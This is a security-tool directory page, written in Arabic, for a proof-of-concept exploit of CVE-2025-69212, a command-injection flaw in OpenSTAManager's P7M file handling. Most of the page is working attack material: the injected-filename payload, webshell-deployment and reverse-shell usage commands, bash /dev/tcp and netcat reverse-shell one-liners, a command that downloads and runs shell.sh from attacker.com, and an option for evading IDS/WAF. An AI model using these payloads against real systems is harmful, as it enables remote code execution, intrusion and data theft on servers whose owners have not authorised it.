Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-69212-PoC — يحتوي OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة في حقن الأوامر في نظام التشغيل (OS Command Injection) في وظيفة فك تشفير ملفات P7M (الموقعة بتنسيق XML). | Kitploit
أدوات/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

يحتوي OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة في حقن الأوامر في نظام التشغيل (OS Command Injection) في وظيفة فك تشفير ملفات P7M (الموقعة بتنسيق XML).

عرض المستودع
313منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-69212

OpenSTAManager <= 2.9.8 — حقن أوامر نظام التشغيل في معالجة ملفات P7M

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2025-69212
الخطورةحرجة (CVSS 4.0: 9.4)
CWECWE-78: حقن أوامر نظام التشغيل
الإصدارات المتأثرةOpenSTAManager <= 2.9.8
الدالة المعرضة للخطرXML::decodeP7M() في src/Util/XML.php
ناقل الهجوماسم ملف ضار في أرشيف ZIP مرفوع
المصادقةمطلوبة (أي مستخدم لديه صلاحية استيراد الفواتير)
التأثيرتنفيذ كامل للكود عن بُعد كمستخدم خادم الويب

تفاصيل الثغرة

يحتوي OpenSTAManager الإصدار 2.9.8 والإصدارات الأقدم على ثغرة حرجة لحقن أوامر نظام التشغيل في دالة فك تشفير ملفات P7M (XML الموقّع). تقوم طريقة decodeP7M() في src/Util/XML.php بتمرير أسماء الملفات التي يتحكم بها المستخدم مباشرة إلى دالة PHP exec() دون تنقية، مما يسمح للمهاجمين الموثّقين بتنفيذ أوامر نظام تعسفية على الخادم.

السبب الجذري

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

يتم تغليف المعامل $file — الذي يأتي من أسماء الملفات داخل أرشيفات ZIP المرفوعة — بين علامتي اقتباس مزدوجة ولكنه لا يُنقّى أبدًا باستخدام escapeshellarg(). يمكن للمهاجم إنشاء اسم ملف .p7m يهرب من سياق الاقتباس المزدوج ويحقن أوامر شل تعسفية.

نقاط الدخول

  1. plugins/importFE_ZIP/actions.php:126 — الناقل الرئيسي عند معالجة رفع ZIP الذي يحتوي على فواتير إلكترونية
  2. plugins/importFE/src/FatturaElettronica.php:56 — المُنشئ الذي يعالج ملفات .p7m فردية

الميزات

الميزةالوصف
--checkالتحقق مما إذا كان الهدف معرضًا للخطر (إنشاء ملف علامة والتحقق منه)
--webshellنشر شل ويب PHP عبر حقن أوامر نظام التشغيل
--rceتنفيذ أوامر تفاعلي عبر شل ويب منشور
--reverse-shellتشغيل شل عكسية (طرق python, nc, nc-e)
--cmdتنفيذ أوامر أعمى (إطلاق ونسيان)
--shell-dirدليل مخصص لكتابة شل الويب
--methodاختيار طريقة الشل العكسية
--proxyدعم وكيل HTTP (Burp Suite)
--delayتخفيف الطلبات لتجنب IDS/WAF
الكشف التلقائياكتشاف تلقائي لمعرفات وحدة/إضافة importFE_ZIP

التثبيت

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

الاستخدام

المصادقة

root@kitploit:~
# تسجيل الدخول باستخدام بيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p secret --check

# استخدام جلسة كوكي موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

فحص الثغرة

root@kitploit:~
# اكتشاف تلقائي للإضافة والتحقق من الثغرة
python3 exploit.py -t http://target.com -u admin -p secret --check

# مع معرفات الوحدة/الإضافة المعروفة
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

نشر شل الويب

root@kitploit:~
# نشر شل ويب في الدليل الافتراضي (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# دليل واسم مخصصان
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

RCE تفاعلي

root@kitploit:~
# نشر شل ويب + شل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce

# مع شل ويب موجود من تشغيل سابق
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

شل عكسية

root@kitploit:~
# شل عكسية Bash (افتراضي، موثوق جدًا)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# شل عكسية Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat باستخدام mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat باستخدام العلم -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

تنفيذ أوامر أعمى

root@kitploit:~
# تنفيذ أمر (بدون إرجاع الإخراج)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# تحميل وتنفيذ حمولة
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

خيارات الشبكة

root@kitploit:~
# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# مع تأخير الطلب (ثانيتين)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

مرجع الخيارات الكامل

root@kitploit:~
الهدف:
  -t, --target           عنوان URL الأساسي للهدف

المصادقة:
  -u, --user             اسم المستخدم لتسجيل الدخول
  -p, --password         كلمة المرور لتسجيل الدخول
  -c, --cookie           قيمة PHPSESSID موجودة

الإجراءات:
  --check                التحقق مما إذا كان الهدف معرضًا للخطر
  --webshell             نشر شل ويب PHP
  --rce                  شل تفاعلية عبر شل الويب
  --reverse-shell        شل عكسية (LHOST LPORT)
  --cmd COMMAND          تنفيذ أوامر أعمى

خيارات الشل:
  --shell-dir DIR        دليل كتابة شل الويب (الافتراضي: files)
  --shell-name NAME      اسم ملف شل ويب مخصص
  --method METHOD        طريقة الشل العكسية: bash, python, nc, nc-e

اكتشاف الإضافة:
  --module-id ID         معرف وحدة OpenSTAManager
  --plugin-id ID         معرف إضافة importFE_ZIP

الشبكة:
  --proxy URL            عنوان URL لوكيل HTTP
  -k, --no-ssl-verify    تعطيل التحقق من SSL
  --delay SECONDS        التأخير بين الطلبات

التفاصيل الفنية

هيكل الحمولة

يقوم الاستغلال بتشكيل أرشيف ZIP يحتوي على ملف .p7m واحد باسم ضار:

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

عندما يعالج OpenSTAManager هذا الملف، يصبح استدعاء exec() الناتج:

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

يفسر الشل الفواصل المنقوطة كفواصل بين الأوامر، منفذًا الأمر المحقون بين استدعاء openssl المنتهي و echo اللاحق.

قيود اسم ملف ZipArchive

هام: تعالج دالة PHP ZipArchive::extractTo() الشرطة المائلة (/) في أسماء الملفات كفواصل أدلة وفقًا لمواصفات ZIP. أي / في الاسم الضار ستؤدي إلى تقسيم دخول الأرشيف إلى أدلة، مما يكسر حمولة الاستغلال.

يجب أن تتجنب جميع الأوامر المحقونة / تمامًا. لتجاوز هذا القيد بالكامل ومنع تعليق PHP exec() (الذي يمكن أن يشغل عمال الخادم ويسبب مهلاً)، يقوم الاستغلال الآن تلقائيًا بلف الحمولات في Base64 وتنفيذها في الخلفية:

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

يتيح لنا ذلك استخدام / بشكل طبيعي داخل الحمولة الداخلية (مثل /dev/tcp/10.10.14.5/4444) دون كسر هيكل ZIP.

طرق الشل العكسية

الطريقةالحمولةيتطلب
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bashnetcat مع دعم -e

طريقة bash هي الافتراضية الآن لأنها الأكثر موثوقية والأصلية على أنظمة Linux.

مسار الكود المعرض للخطر

root@kitploit:~
رفع ZIP عبر إضافة importFE_ZIP
    └── يقوم actions.php بإرسال المعالجة إلى معالج الإضافة
        └── يقوم ZipArchive::extractTo() باستخراج الملفات
            └── يتكرر على ملفات .p7m
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── يفسر الشل الأوامر المحقونة

مثال سلسلة الهجوم

root@kitploit:~
1. --check             → تأكيد RCE عبر ملف علامة
2. --webshell          → إسقاط شل PHP في دليل files/
3. --rce               → تنفيذ أوامر تفاعلي
4. استكشاف            → id, cat /etc/passwd, ifconfig
5. تنقل               → شل عكسية للمهاجم، استغلال ما بعد الهجوم

إخلاء مسؤولية

هذه الأداة مقدمة لاختبارات الأمان المأذون بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار. المؤلف لا يتحمل أي مسؤولية تجاه سوء الاستخدام.

المراجع

  • CVE-2025-69212 (NVD)
  • GitHub Security Advisory — GHSA-25fp-8w8p-mx36
  • OpenSTAManager Repository
  • PoC by Lukasz Rybak
تنزيل الأداة